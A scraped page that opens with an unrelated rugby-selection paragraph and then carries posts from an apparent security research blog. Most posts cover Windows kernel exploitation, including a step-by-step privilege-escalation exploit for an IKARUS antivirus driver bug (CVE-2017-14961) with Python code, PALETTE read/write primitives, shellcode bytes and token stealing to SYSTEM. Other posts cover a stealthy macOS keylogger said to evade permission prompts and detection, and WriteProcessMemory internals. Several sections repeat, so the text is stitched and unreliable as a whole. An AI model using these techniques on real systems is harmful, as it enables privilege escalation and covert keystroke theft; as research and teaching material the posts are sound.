'Firstly, we have picked experienced players who are well aware of the challenge of playing South Africa at home.
Secondly, we want to give some other players the opportunity to see how they cope under the extreme pressure of playing South Africa;
And thirdly, we took into consideration the fact that some players in the squad could do with having a break for various reasons, so they will be staying home to freshen up'.
The move is likely to give either Colin Slade or Beauden Barrett given the opportunity in the number 10 shirt, whilst Ryan Crotty or Malakai Fekitoa look set to step in for SBW.


text:
Any future posts will be posted here:
The Evil Bit Blog
Forensics, Pentesting, Networking and Security
Tuesday, April 23, 2019
Saturday, February 16, 2019
macOS - keylogging through HID device interface
Just for fun I started to dig into how could I write a piece of software to detect rubber ducky style attacks on macOS. While I was reading through the IOKit API, and digging into the various functions and how everything works, I came across an API call, called
IOHIDManagerRegisterInputValueCallback, which sounded very interesting although wasn't related to what I was looking for. At first read it sounded that you can monitor USB device input. My first trials with the enumeration showed that the built in keyboard on a MacBook Pro is also connecting through the USB / IOHID interface. That made think if I could log keystrokes via this API call. At this point I got totally distracted from my original goal, but I will get back to that later :) Looking up the function on Apple's website confirmed my suspicion, it says:
Registers a callback to be used when an input value is issued by any enumerated device.
Nice! Since I'm still a complete n00b to either Swift and Objective-C I tried to lookup on Google if someone wrote a key logger such this, and basically I found a good code here: macos - How to tap/hook keyboard events in OSX and record which keyboard fires each event - Stack Overflow This is very well written and you can use it as is, although it doesn't resolve scan code to actual keys. The mapping is available in one of the header files: MacOSX-SDKs/IOHIDUsageTables.h at master · phracker/MacOSX-SDKs · GitHub With this I extended the code to use this mapping, and also write output to a file, and it works pretty nicely. I uploaded it here:
Then a googled a bit more, and came across this code, which is very-very nice, and does it way-way better then my:
The benefit of this method over the one that uses CGEventTap (common used in malware) is:
- you don't need root privileges
- runs even on Mojave without asking for Accessibility permissions
- not (yet??) detected by ReiKey
Patrick Wardle - YouTube
and the code is available in his GitHub repo
GitHub - objective-see/sniffMK: sniff mouse and keyboard events
Tuesday, December 18, 2018
My view and experience with IT certifications
I run into plenty of debates about whether IT certifications are good or bad, what are those people who hold those capable of, what are the expectations and so on. This post is not just about IT Security certs, but IT in general. Personally I love to do certifications and have plenty of them from various vendors, so I thought I will share my view and experience about the let's call it "certification industry".
People with and w/o certs
Personally I see and know basically two types of people: those who love to do certs or at least want to do a few and those who don't give a sh*t about certification. I want it to make clear: it doesn't reflect their skills or knowledge at all, some of the most skilled people I know have exactly 0 certs and don't really care about, and some of them have plenty or at least a few. I think this really comes down to personal preference. There are also a few people like me, who simply likes to do certifications, they are "certification monkeys" (I heard this term from Jeremy Cioara, who does excellent Cisco CBT videos).
There is another aspect to this. I regularly participate in technical job interviews for the past couple of year, nowadays for IT security people and in the past networking people. There are certain certifications in both roles, that if present will almost always involve that the person will have deep technical knowledge, can answer the questions, and in general make a successful interview, I specifically talk about OSCP, OSCE for IT Sec and CCIE for networks. I don't think it's only because of the actual 'certification' but the soft skills you need to achieve them. Assuming you don't cheat, and I want to believe most people don't, you really have to gain plenty of knowledge and put that into practice, keep persisting trying, learning, put your energy onto it, etc... so you can expect something solid from those people. There are people who claim plenty of experience, and some even after telling me doing webapp pentesting for years, can't even answer a simple question about XSS. Again, this is not everyone, there are super smart people without certs (see above) but the likelihood of having a low performer guy with good certs is smaller.
So as I see, there is this correlation: if you have a certification which is hard to achieve (OSCP, CCIE) you are most likely a capable person, and let's make it clear again: *it doesn't mean that if you don't have a certification you are not capable*.
There is also a phenomena, some people with OSCP, CCIE, etc... you name it, get high-minded. I hate that. Please don't! You are not better or smarter than others because of that. No problems with being proud of it, but it goes wrong if you place yourself above others because of having a badge.
Unfortunately there are also people who achieve plenty of certs with using *just* braindumps (preparation guides), and making an exam every other week. I think this not just make the certs less valuable overall, but morally I simply can't (and no one should) agree with it. Even personally I knew someone who did this, and get his CCSP cert in a month, which means he did an exam every week for 4 weeks. During a job or an interview it will very quickly turn out that someone gained his/her certs with just memorising braindumps.
On the other hand I must admit that with Cisco exams I also used braindumps after studying, but I will write about that in more detail below.
What knowledge to expect from certified people?
I often see comments trying to degrade or dignify certifications, and as I see those come from having a totally wrong expectation toward those people or the certification itself. First thing is that a certification doesn't replace experience. For example, if someone has an OSCP (but no experience), it doesn't mean that he/she is ready to find you 0 days, write kernel exploits, be a neat web app pentester or conduct a full red team operation at a company right away without any experience. On the other I believe that person will have a solid foundation that you can easily build on, and quickly put him into work, without too much training, he/she will do fine on his/her own pretty fast. Same is true for CCIE. Think about these like a university degree. Any of those people are ready to work right away out of education? No way! You need to spend weeks to teach them how to use the systems they will work on, and so on, and even then they will be considered beginners. But they have a solid IT foundation and a type of thinking that you can build on.
What to expect from people who have certification where the exam is a multi choice question? Well, definitely less than from those who passed practical hands-on exams. The personality of that person will play a lot there, but probably their knowledge is above 0. I'm not a big fan of these, although I did personally many of them. I will write about them in more detail below.
In short I think these will provide the person with good foundation, what you can build on. Nothing more, nothing less.
Why to certify?
There is definitely an advantage on the job market, especially with headhunters that if you have the right certs it will make you getting the job easier or at least passing the first round easier. Unfortunately many HR people have no idea what these really mean or involve, they just look for the keywords. I remember 10 years ago my colleague was asked by an IT(!!) headhunter: "Do you have such thing as CCIE?" She had no idea what's that and asked that so casually like every other person should have one. This is true to date, not everywhere, but most places. If you apply for a Cisco job, HR will pass your CV more easily to the technical staff if you have CCNA, CCNP, etc... This is unfortunate but I suppose we have to live with that and educate first round interviewers at the same time.
Beside the above personally I like to do them, because of the following:
- It's a good challenge, and I like challenges.
- It enforces me to study the material more in depth, and will make me remember for longer time.
- I like to collect badges :D
Multiple choice vs practical exam
Obviously practical exams have the most value. I think that's a no brainer. On the other side you have the multi choice questions, and in my experience they can be further split.
1. Cisco style
Cisco is the typical exam, which I believe highly unfair. They put in plenty of such lexical questions, that no one on the Earth will know, or give you options that varies only slightly. For example, they had items like: "What is the colour of the Cisco wireless desktop agent if the connection is bad?" and you can chose from red, orange, yellow, and some other. Seriously why is this important at all, and who remembers this? It won't reflect your actual knowledge. Or the other type is where they give you a command with 4 very little variations, and it's not an every day used command they will give you. Now, typically on Cisco or probably on most enterprise grade network devices you will use tabs and question marks many times, because you can't remember every single command. You will know some, but certainly not all of them, and with such command line help available on the OS there is also no reason to remember them. Honestly this is why I used braindumps, as I believe these are unfair questions, and they are not targeted to properly assess the students' knowledge. Not 100% of the exam is such, but a significant part. In reality I don't know a single person who doesn't use braindumps, because of the previous reasons. I always learned the material and did plenty of practicing and I do feel that I know the stuff I took the exam for and thus I don't feel that I really cheated.
2. SANS style
SANS also uses multi choice question exams, but there is a big difference. One is that you can use the study material, which means that even if you get a lexical question you can look it up, although you need to know where to look for. Second is that typically you don't get such questions, but more of those where you actually need to apply what you have learned. I think this is much better. Typically you can do 2 practice tests before the exam, which will have similar style of questions than the real one, but not the same. I never used braindumps with SANS exams, as if you learn the material there is no need, and I passed all of my exams I took, for first.
3. EC-Council style
Maybe they changed it nowadays, but in the past their exam was a joke. A few lexical questions, and plenty of questions what you could answer with common sense, especially in the CEH/ECSA exam. In short it doesn't really reflect anything.
Probably this is where the certification industry gone mad, and this is the point where you will certainly feel that this is only done to harvest money, and you will quickly get disappointed. Ultimately the general concept behind renewal is to demonstrate that your knowledge is maintained/up-to-date and so on, and this is what none of the renewal methods actually ensure, at least those I know of. Here is why:
Cisco policy: in order to renew any associate/professional level certificate, you need to pass one exam from the same level or above, and you need to do it every 3 years. This effectively means that if I pass *any* professional exam I can renew both my CCNP Routing&Switching and Security certs. Passing let's say a switching exam has nothing to do with the security track, but it's still renewed. Why? It won't guarantee that my Cisco Security knowledge is up-to-date. In fact I have both of those, and while I still feel confident that I have a solid CCNP R&S level of knowledge, that's certainly not true for the Security part, and I can't get rid of that if I renew my other one. This just doesn't feel right. If the renewal doesn't fulfil its purpose why to have a renewal policy at all? Money? Renewing a CCIE is even worse, you need to pass the theory exam every 2 years, despite the fact that probably if you passed it, it's most likely so deeply sinked that you will remember it longer than any professional level material.
SANS policy: collect credits for 4 years, and if you have enough you can pay a fee, and there you go, you renewed your cert. You can collect credits with taking trainings (SANS training worth more than others...), going to conferences, etc... like CISSP. I could renew my malware reverse engineering cert with taking a forensics training. Why? That training is different and didn't really contribute to my reversing skills, certainly doesn't mean that you can still dissect a malware. Although SANS tries to make it look like it is, but if you are honest it doesn't. Again what you see here is that the renewal doesn't prove that your are still good at that topic, they just take your money.
EC-Council: similarly you need to collect credits. Exact same story as with SANS, but instead of paying a one time fee every 4 years, they ask for an annual fee. Why? Just to harvest people's money.
Offensive Security: No renewal. I like that. I think in order to pass the hands-on exam, you have to study the material so much, that it will sink in for a very long time.
I feel that the general concept of renewals is wrong at the core. You don't need to renew your university degree, although universities could easily claim that you forgot the material after a few years. I certainly don't remember the mathematics I learned for 2 years, I never used it, never really liked it, so it just faded away, and I think that will be true for every people.
Vendors still try to push for renewals and I feel it's only about trying to tie you to their trainings, exams, and get your money.
I have many-many thoughts on this topic, and it was pretty hard and long to write this post, and I steel feel that I couldn't phrase everything I wanted. I might be wrong with my view, but currently this is how I see things, and no one has to agree. The most important thought I would like people taking away from this post is the following:
- Certificate holders: Please don't be high-minded as what you have got is "just" a foundation and there are huge amount of super smart people without certs. No problem for being proud of it, but on a healthy level.
- Non-certificate holders: Please don't degrade certificate holders' achievement as in some cases what they achieved is really notable and not easy, and not everyone can do it.
I have a bit of fear that this post will generate a burst of hate from both sides, and vendors, but:
Windows Driver Signing Enforcement bypass
I uploaded all of the materials and files to my latest DSE bypass workshop, which I held at Defcon, hack.lu and Hacktivity to my Github page:
Friday, August 31, 2018
About WriteProcessMemory
The contents of this post might be very well known to many people, but for me it was new and honestly, also a bit shocking so I thought I will share it, it might be useful for others as well. I came across this behaviour when I was developing a working POC code for enSilo's new TurningTables technique.
In short WriteProcessMemory will write to PAGE_EXECUTE or PAGE_EXECUTE_READ pages if you have sufficient rights (PROCESS_VM_OPERATION) to change its permissions to PAGE_EXECUTE_READWRITE. I want to highlight in the beginning that this will not bypass any built-in security feature, nor exploit anything, this is just a convenience feature.
In short WriteProcessMemory will write to PAGE_EXECUTE or PAGE_EXECUTE_READ pages if you have sufficient rights (PROCESS_VM_OPERATION) to change its permissions to PAGE_EXECUTE_READWRITE. I want to highlight in the beginning that this will not bypass any built-in security feature, nor exploit anything, this is just a convenience feature.
First I will cover how it works, and at the end why.
Part 1 - How?
This is how WriteProcessMemory works in the latest Windows (1803):
First it will call NtQueryVirtualMemory to get the properties of the region.
The next step is to check if the page has any of the following protections set: PAGE_NOACCESS(0x1) | PAGE_READONLY(0x2) | PAGE_EXECUTE (0x10) | PAGE_EXECUTE_READ (0x20)
Looking on the check bitwise:
0xcc = 1100 1100
0x1 = 0000 0001
0x2 = 0000 0010
0x10 = 0001 0000
0x20 = 0010 0000
So if we perform the TEST instruction it will set the ZF flag if one of these settings are present. If not, it will go straight to the NtWriteVirtualMemory call, which means that the page has the WRITE bit set:
If the check indicates one of the protection set above, it will do another one:
This will jump if PAGE_NOACCESS or PAGE_READONLY is set, and we get an access denied as expected:
If not, it will do another two checks:
If the page is an MEM_IMAGE (0x1000000) and if it's MEM_PRIVATE (0x20000) - if none of them, only then it will go to the same ACCESS_DENIED routine, otherwise it will set a value into EAX. That value is eventually passed in RSI to NtProtectVirtualMemory:
Now, what are those values:
0x40 - PAGE_EXECUTE_READWRITE
0x80 - PAGE_EXECUTE_WRITECOPY
0x20000000 - MEM_LARGE_PAGES (large page support)
This means that the OS will nicely change the page protection for us to writeable, without ever giving an access denied. In case it's an image it will set it to write-copy, which means that it will create a private copy of the image loaded for the process, so it won't overwrite shared memory.
After this the same NtWriteVirtualMemory will be called, what is shown above. Finally the page protection will be reverted to the original. Essentially we got write access to an EXECUTABLE only page - obviously only if our process has the permission to apply those changes, so it won't bypass any protection.
On older version of Windows 10, the function is slightly different but the logic is exactly the same:
On Windows 7 or 8 the behaviour also exists but the function logic is different. It will try set the memory to PAGE_EXECUTE_READWRITE or if that fails to PAGE_READWRITE right away:
Then it will check if the old protection was either PAGE_EXECUTE_READWRITE, PAGE_READWRITE or PAGE_WRITECOPY, if yes it will go and restore the original protection (as the memory is writeable) and write to it. If not it will check if it's PAGE_NOACCESS | PAGE_READONLY. If yes, it will go and return ACCESS_DENIED, otherwise it will call NtWriteVirtualMemory… when the page protection is set to PAGE_EXECUTE_READWRITE/PAGE_READWRITE. Again shortcut to have write access to EXECUTABLE pages.
Here is the write:
The ReactOS code will reflect this behaviour:
Yes, you could also set the page protection yourself, but the OS will nicely do it for you, so one less thing to care about when developing an exploit. In my opinion based on MSDN this should fail however (but maybe I misinterpret it):
PAGE_EXECUTE - 0x10 - Enables execute access to the committed region of pages. An attempt to write to the committed region results in an access violation.
PAGE_EXECUTE_READ - 0x20 - Enables execute or read-only access to the committed region of pages. An attempt to write to the committed region results in an access violation.
What happens if we call NtWriteVirtualMemory directly? Then it fails as expected as the page protection is not modified, for example it will fail with:
0x8000000D - STATUS_PARTIAL_COPY - Because of protection conflicts, not all the requested bytes could be copied.
Part 2 - Why?
I found many mentions here and there that this will work, but essentially I contacted Microsoft for further explanation, and I got it, and I want to thank for them for providing these insights. Basically this is done for debuggers, in case debuggers wants to write to memory, they can simply call this API and no need to care for setting page protection every single time. Here are the details:
Here is what that above site says:
"There are a bunch of functions that allow you to manipulate the address space of other processes, like WriteProcessMemory and VirtualAllocEx. Of what possible legitimate use could they be? Why would one process need to go digging around inside the address space of another process, unless it was up to no good? These functions exist for debuggers. For example, when you ask the debugger to inspect the memory of the process being debugged, it uses ReadProcessMemory to do it. Similarly, when you ask the debugger to update the value of a variable in your process, it uses WriteProcessMemory to do it. And when you ask the debugger to set a breakpoint, it uses the VirtualProtectEx function to change your code pages from read-execute to read-write-execute so that it can patch an int 3 into your program. If you ask the debugger to break into a process, it can use the CreateRemoteThread function to inject a thread into the process that immediately calls DebugBreak. (The DebugBreakProcess was subsequently added to make this simpler.) But for general-purpose programming, these functions don't really have much valid use. They tend to be used for nefarious purposes like DLL injection and cheating at video games."
UPDATE 2018.09.02. - The story gets worse
So after writing this comes Alex Ionescu and makes it even worse :D
With that, the post wouldn't be complete without explaining what Alex Ionescu pointed out, which I think much-much worse then the first part. So while spending the weekend my brain couldn't stop thinking about this, and when the light came I reached out to Alex.
You can use this function to write to kernel pages from user mode. This sounds terrible for first, second and also third, and so on, but you will see that is not that horrible, only a little bit. :) So why this happens:
When you call WriteProcessMemory it will call ntdll!NtWriteVirtualMemory which will eventually call nt!NtWriteVirtualMemory, which in newer Win10 versions will call nt!MiReadWriteVirtualMemory. That is the point where it is checked if you come from user land and can write to the targeted memory, to avoid writing to the kernel. But what is really being checked?
1. It will check if you the API is being called from the kernel or user space (PreviousMode).
2. If you come from user mode, it will perform another check which is verifying the address range you are trying to write to, based on the MmUserProbeAddress variable, which points to the end of the user address space. On x64 machines this is a hardcoded value in the code, so there is no actual variable, as you can see below in IDA.
Here is the related ReactOS code snippet for easier understanding (which reflects older Windows versions, but the idea is the same):
If you pass these checks the write will happen.
For kernel exploit writers the flaw is probably obvious at this point if you think about the classic SMEP bypass:
—> from page 31
Here is the issue in short:
If you can set the U/S (owner) bit to 0 (clear) in a PTE entry, it will mean that the page belongs to the kernel. Normally you don't have any kernel pages in the user address space but if you manage to mess with the PTE (with a kernel exploit), you can have, and it will be valid - you can make a user page to being a kernel page. If that happens, you can use WriteProcessMemory to write to those pages as the actual PTE flag is not verified, which means that you write kernel pages from user mode.
Obviously this doesn't happen normally, but still…
Additionally in older systems you could modify (for example with a w-w-w kernel exploit) the MmUserProbeAddress and set it to the end of the kernel address space, and at that point you also bypassed the verification, and you have a very nice R/W access to kernel space. Also: https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/ These days you would need to patch the actual code, which is protected by the HVCI, PG, so it's not really possible unless you exploit the hypervisor.
Overall potentially you can have write access to kernel address space from user mode, but not by default, and not in a straightforward way.
I want to thank again to Alex first for pointing this out, and than talking through this whole stuff with me.
UPDATE 2018.09.02. - The story gets worse
So after writing this comes Alex Ionescu and makes it even worse :D
With that, the post wouldn't be complete without explaining what Alex Ionescu pointed out, which I think much-much worse then the first part. So while spending the weekend my brain couldn't stop thinking about this, and when the light came I reached out to Alex.
You can use this function to write to kernel pages from user mode. This sounds terrible for first, second and also third, and so on, but you will see that is not that horrible, only a little bit. :) So why this happens:
When you call WriteProcessMemory it will call ntdll!NtWriteVirtualMemory which will eventually call nt!NtWriteVirtualMemory, which in newer Win10 versions will call nt!MiReadWriteVirtualMemory. That is the point where it is checked if you come from user land and can write to the targeted memory, to avoid writing to the kernel. But what is really being checked?
1. It will check if you the API is being called from the kernel or user space (PreviousMode).
2. If you come from user mode, it will perform another check which is verifying the address range you are trying to write to, based on the MmUserProbeAddress variable, which points to the end of the user address space. On x64 machines this is a hardcoded value in the code, so there is no actual variable, as you can see below in IDA.
Here is the related ReactOS code snippet for easier understanding (which reflects older Windows versions, but the idea is the same):
2820 if (PreviousMode != KernelMode)
2821 {
2822 //
2823 // Validate the read addresses
2824 //
2825 if ((((ULONG_PTR)BaseAddress + NumberOfBytesToWrite) < (ULONG_PTR)BaseAddress) ||
2826 (((ULONG_PTR)Buffer + NumberOfBytesToWrite) < (ULONG_PTR)Buffer) ||
2827 (((ULONG_PTR)BaseAddress + NumberOfBytesToWrite) > MmUserProbeAddress) ||
2828 (((ULONG_PTR)Buffer + NumberOfBytesToWrite) > MmUserProbeAddress))
2829 {
If you pass these checks the write will happen.
For kernel exploit writers the flaw is probably obvious at this point if you think about the classic SMEP bypass:
—> from page 31
Here is the issue in short:
If you can set the U/S (owner) bit to 0 (clear) in a PTE entry, it will mean that the page belongs to the kernel. Normally you don't have any kernel pages in the user address space but if you manage to mess with the PTE (with a kernel exploit), you can have, and it will be valid - you can make a user page to being a kernel page. If that happens, you can use WriteProcessMemory to write to those pages as the actual PTE flag is not verified, which means that you write kernel pages from user mode.
Obviously this doesn't happen normally, but still…
Additionally in older systems you could modify (for example with a w-w-w kernel exploit) the MmUserProbeAddress and set it to the end of the kernel address space, and at that point you also bypassed the verification, and you have a very nice R/W access to kernel space. Also: https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/ These days you would need to patch the actual code, which is protected by the HVCI, PG, so it's not really possible unless you exploit the hypervisor.
Overall potentially you can have write access to kernel address space from user mode, but not by default, and not in a straightforward way.
I want to thank again to Alex first for pointing this out, and than talking through this whole stuff with me.
Thursday, December 28, 2017
Convert Write-Where kernel exploits into arbitrary Write-What-Where exploit
This post is a follow up of my previous post: https://theevilbit.blogspot.hu/2017/11/turning-cve-2017-14961-ikarus-antivirus.html. I realised that the technique I used there can be generalised.
- Currently it's known that we can create PALETTE objects in the large session pool, and we can leak their address.
- We can allocate two PALETTE objects, one after the other, and even without spraying, they will be close enough (<0x1000000 bytes far) to each other - this came from my testing, and running this many times
- If we have a write - where vulnerability (where we can't control what we write), we can use that to modify the size of the PALETTE object by modifying 1 byte in the cEntries field, the only requirement is that we can precisely set the location, and it should be something other than 0. We will target the location marked with ** below:
- Luckily the 7 bytes before and 8 bytes after that field are not so important, so if we smash them we will not cause a BSOD and we can continue to use the object. Essentially the following fields marked with red (also in the above memdump) in the PALETTE structure won't cause an issue if we overwrite them (anything before or after will cause a BSOD):
- With modifying that byte to anything other then 0, we increased the size of our PALETTE to > 4 * 0x1000000, which means that if we have another one nearby (and as we saw at step 2 we can have), we can write to it with out-of-bound writes
- We overwrite the pFirstColor pointer of the 2nd PALETTE to point to our original PALETTE's pFirstColor memory location, thus achieving a classic GDI read / write primitive —> We achieved arbitrary kernel read / write
0: kd> dd fffff8cc44dc4000
fffff8cc`44dc4000 fe0809ec ffffffff 00000000 00000000
fffff8cc`44dc4010 26986580 ffffd687 00000501 **0003de
fffff8cc`44dc4020 0096f8aa 00000000 00000000 00000000
fffff8cc`44dc4030 00000000 00000000 00000000 00000000
fffff8cc`44dc4040 00000000 00000000 00000000 00000000
fffff8cc`44dc4050 00000000 00000000 00000000 00000000
fffff8cc`44dc4060 00000002 00000001 00000000 00000000
fffff8cc`44dc4070 00000000 00000000 44dc4088 fffff8cc
BASEOBJECT64 BaseObject; // 0x00
FLONG flPal; // 0x18
ULONG32 cEntries; // 0x1C
ULONG32 ulTime; // 0x20
HDC hdcHead; // 0x24
ULONG64 hSelected; // 0x28,
FLONG flPal; // 0x18
ULONG32 cEntries; // 0x1C
ULONG32 ulTime; // 0x20
HDC hdcHead; // 0x24
ULONG64 hSelected; // 0x28,
This will also work if we have another type of vulnerability where we can decrement / increment a value at a memory location of our choice, we can achieve the same. We locate the byte above (**) as a target for decrementing or incrementing, we achieved the same.
- The PALETTE itself, it won't work beyond Win10 RS3
- If the write what we don't control is larger than 0x10 bytes, this can't be used as we overwrite other fields that will cause a BSOD
Friday, December 1, 2017
kex - python kernel exploit library - update #3
Another week passed, another update. Not sure how long I can keep up with this frequency :)
- all 3 shellcodes (token stealing, update token privileges, update ACL of target process)
- padded all of them with NOPs, so their length is divisible by 4, this is required if we use PALETTE objects as r/w primitive to write the shellcode somewhere. If the shellcode is not divisible by 4, the last couple of bytes will be missing as we can only write multiplies of 4 with PALETTEs
- in newer Windows versions the KTHREAD->Process pointer is larger than 0x7f (specifically 0xb8), which means that the assembly code is different
- for sizes <0x80:
- "\x48\x8b\x40" + 1 byte value (e.g.: 0x7f)
- for sizes >=0x80:
- "\x48\x8b\x80" + 1 byte value (e.g.: 0xb8) + "\x00\x00\x00"
- all 3 shellcodes are verified now to work
The new additions are based on the following resources:
- Leaking NT base, HalDispatchTable, PTE base address using PALETTE objects
- Calculate PTE address for a given virtual address
- Ability to change a VA to executable
- An example for the new functions using the HEVD driver as usual
With that you can write a shellcode to kernel space, change the PTE address execution flags, update HalDisPatchTable and trigger shellcode - this is what happens in the added example. All works from low privilege mode, up to Windows 10 RS3 (v1709 / FCU).
Saturday, November 25, 2017
kex - python kernel exploit library - major update #2
I made a larger update to my kex library again. Token stealing is not the only way in kernel exploitation, suggest to read the following:
I essentially implemented additional shellcodes based on Cerudo's BlackHat talk and Martin Schenk's blogpost, there are a few differences to how I implemented them vs how Martin did:
- I elevate my own process privileges, not the parent or cmd.exe
- I use different offset in KTHREAD to find the EPROCESS structure (nt!_KTHREAD -> _KAPC_STATE -> EPROCESS), so you will see different values there
- I used PALETTEs for data-only pwning and not the tagWND method, this also means that it won't work beyond Win10 RS3
- The token overwrite has been extended to also change the Present bit as it is required after Win10 RS3, as described here: http://anti-reversing.com/Downloads/Sec_Research/ntoskrnl_v10.0.15063_nt!_SEP_TOKEN_PRIVILEGES-Single_Write_EoP_Protect.pdf
- I added all offsets from Win7 to Win10 RS3 so the code should work universally across all platforms
I added an example with the HEVD driver to show how all these works. I didn't have a chance to test the actual shellcodes, only the data-only variant, so if any issues, let me know.
Wednesday, November 15, 2017
Turning CVE-2017-14961 (IKARUS anti.virus local kernel exploit) into full arbitrary read / write with PALETTE objects
There are 9 exploitable kernel vulnerabilities discovered in IKARUS anti.virus <2.6.18 discovered by @ParvezGHH. You can read more about them here:
I found the exploit for the above CVE very nice and clean by Parvez, I usually like simplicity. This specific vulnerability provides the ability for an attacker to write 0x11 to an arbitrary location, which is entirely under the control of the attacker. Triggering is extremely simple, we send in an empty input, and 0x11 will be written to the address we provide for the output buffer. Parvez used this to overwrite the TOKEN privileges of the given process to gain SeDebugPriviliges and after that injecting a cmd.exe shell code into winlogon.exe. Nice and clean and works universally. I took the opportunity to write this in python and extend my kex library with some useful functions that perform the TOKEN lookup and code injection.
However I wanted to practice a bit of kernel exploitation techniques and decided to turn this into a full arbitrary read / write. In short I wanted to be able to read / write any kernel memory of my choice with the value I want. I also wanted to keep the exploit universal (Win7 to Win10RS3) and if possible trigger it from low integrity mode. I'm not done with the low integrity part, but if I will have time later I will try to finish it, but all the others went fine.
An universal read / write can be done if we can use the PALETTE read / write primitives, but obviously we can't directly overwrite the pFirstColor pointer of any palette with the vulnerability. So I went to utilise the idea of out of bounds write, which is commonly used with session pool spraying with GDI objects. Let me explain step-by-step the game plan.
- Allocate two palettes at known location
- Overwrite the cEntries field of one of the palettes, and thus increasing the size.
- Use the enlarged palette to overwrite the pFirstColor offset in the second palette —> we are pretty much done at this point, as we can use the regular read / write primitives
- Steal token
The first point is achieved via reserving and freeing Windows, and if they get allocated to the same place, we can predict that if we free it and allocate the palette next, it will be at the same location, this works for large pools, for objects size >= 0x1000 (4kB). This is pretty standard, and easy, already implemented in my kex library. Essentially this is the code snippet to do this:
palette_1_address = alloc_free_windows(0)
palette_1_handle = create_palette_with_size(0x1000)
palette_1_pFirstColor = palette_1_address + pFirstColor_offset
palette_2_address = alloc_free_windows(0)
palette_2_handle = create_palette_with_size(0x1000)
palette_2_pFirstColor = palette_2_address + pFirstColor_offset
The second point is to calculate the address where we want to write 0x11. From this point on, we need to make sure that we use the palettes in the right order, as there is no guarantee that palette1 is placed in a lower memory location than palette2, although likely. In this writeup let's assume that palette1 comes before palette2. So the location is:
cEntries is always 0x1c, and the number of entries is stored on 4 bytes (32 bits). The +3 is needed in order to overwrite the high order byte. If we look on a dump, this is what we will get after the overwrite:
0: kd> dd ffffe5b784730000
ffffe5b7`84730000 9c080a13 ffffffff 00000000 00000000
ffffe5b7`84730010 5fe03700 ffffad0d 00000501 110003de
ffffe5b7`84730020 0006e3f4 00000000 00000000 00000000
ffffe5b7`84730030 00000000 00000000 00000000 00000000
ffffe5b7`84730040 00000000 00000000 00000000 00000000
ffffe5b7`84730050 00000000 00000000 00000000 00000000
ffffe5b7`84730060 00000002 00000001 00000000 00000000
ffffe5b7`84730070 00000000 00000000 84730088 ffffe5b7
This effectively increases the size of the palette to 0x110003de * 4 (from 0x000003de * 4) as one palette entry takes 4 bytes. This should be sufficient to get an overlap with palette2.
As for code:
outputbuffer = palette_1_address + 0x1c + 3
The third step is to overwrite the other palette's pFirstColor pointer and point it to palette1's pFirstColor memory address. The last part is easy, we just add the proper offset to palette1's address, which is 0x78 or 0x80 depending on the platform (as of this writing). How do we overwrite palette2's pFirstColor pointer? We need to calculate the distance of it beginning from palette1's first entry. The calculation is:
distance = (palette_2_address + pFirstColor_offset) - (palette_1_address + apalColors_offset)
In words: we take the memory location of the target (palette2address + pFirstColoroffset) and subtract the memory location of the very first entry of palette1 (palette_1address + apalColorsoffset). apalColorsoffset is 0x10 after pFirstColor on x64. We divide this distance by 4 (remember, with palettes we write one entry which is 4 bytes) and get the right index (iStart) to use with the SetPalette function. Code:
address = c_ulonglong(palette_1_pFirstColor)
gdi32.SetPaletteEntries(palette_1_handle, distance/4, sizeof(address)/4, addressof(address));
manager_palette_handle = palette_2_handle
worker_palette_handle = palette_1_handle
At this stage I run into a problem where my code started to overwrite random memory locations, regardless of what the distance is (at least this is how it looked). I was pretty sure I'm right, and I had no idea for hours what goes wrong here. Finally found it. SetPaletteEntries expects an unsigned INT for the iStart index. I didn't converted the distance to UINT, and it was passed as a signed INT, and as it was quite large, it pointed to another place I expected. This was a good learning for later, I need to watch out for correct ctypes conversion. So the above line correctly is:
gdi32.SetPaletteEntries(palette_1_handle, c_uint(distance/4), sizeof(address)/4, addressof(address));
Once this is done, the only thing remained is to perform token stealing with palettes. Up until this point the entire exploit runs from low integrity mode as well. The token stealing won't because of the way it's implemented, but I will look for something else later on.
tokenstealing_with_palettes(manager_palette_handle, worker_palette_handle)
I think the above idea can be easily generalised for similar cases, when we can control the memory location of the overwrite, but not the content. If we can increase the size of a palette, we can gain full read / write.
If you want to play with this, the following happens to be an IKARUS 2.6.15 installer, which is vulnerable:VirusTotal
The above exploit is uploaded here: https://github.com/theevilbit/kex/blob/master/usage_examples/CVE-2017-14961-ikarus-palettes.py
It doesn't always work for first, but run it a few times, and eventually you will get SYSTEM.
With the new release of kex, this exploit can work entirely from low integrity mode.
Tuesday, October 31, 2017
Abusing GDI objects for kernel exploitation - PALETTE and various offsets
I started to dig into the topic of abusing GDI objects for Windows kernel exploitation about two weeks ago, and finally get to the PALETTEs. There are many documentation about BITMAPs so I don't really want to write about those, but there has been little write-ups about PALETTEs. There are three that I relied on during my research:
siberas GmbH - Kernel Exploitation Case Study - "Wild" Pool Overflow on Win10 x64 RS2 (CVE-2016-3309 Reloaded)
I decided to implement PALETTE read-write primitives for my kex Python library, and this post is about how did I do that. Basically we need the following info:
- What is their size and offset?
- How to create them?
- How to read / write with them?
typedef struct _PALETTE64
BASEOBJECT64 BaseObject; // 0x00
FLONG flPal; // 0x18
ULONG32 cEntries; // 0x1C
ULONG32 ulTime; // 0x20
HDC hdcHead; // 0x24
ULONG64 hSelected; // 0x28,
ULONG64 cRefhpal; // 0x30
ULONG64 cRefRegular; // 0x34
ULONG64 ptransFore; // 0x3c
ULONG64 ptransCurrent; // 0x44
ULONG64 ptransOld; // 0x4C
ULONG32 unk_038; // 0x38
ULONG64 pfnGetNearest; // 0x3c
ULONG64 pfnGetMatch; // 0x40
ULONG64 ulRGBTime; // 0x44
ULONG64 pRGBXlate; // 0x48
PALETTEENTRY *pFirstColor; // 0x80
struct _PALETTE *ppalThis; // 0x88
PALETTEENTRY apalColors[3]; // 0x90
What is important from this is the full size of the structure, which is 0x90 (that is the offset to the PALETTEENTRY array) and the offset to pFirstColor, which points to the array, and this is the pointer that will need to be overwritten to get the read / write primitives. This is at offset 0x80 at every documentation I saw so far, and what you can read everywhere is that this technique works up to Windows10 v1709 (RS3) - and maybe even later, but we don't know that yet.
The size of the entire object without the POOL_HEADER is basically this PALETTE64 structure + the PALETTEENTRY array. One PALETTEENTRY is 4 bytes as we can see (this will be important later):
class PALETTEENTRY(Structure):
_fields_ = [
("peRed", BYTE),
("peGreen", BYTE),
("peBlue", BYTE),
("peFlags", BYTE)
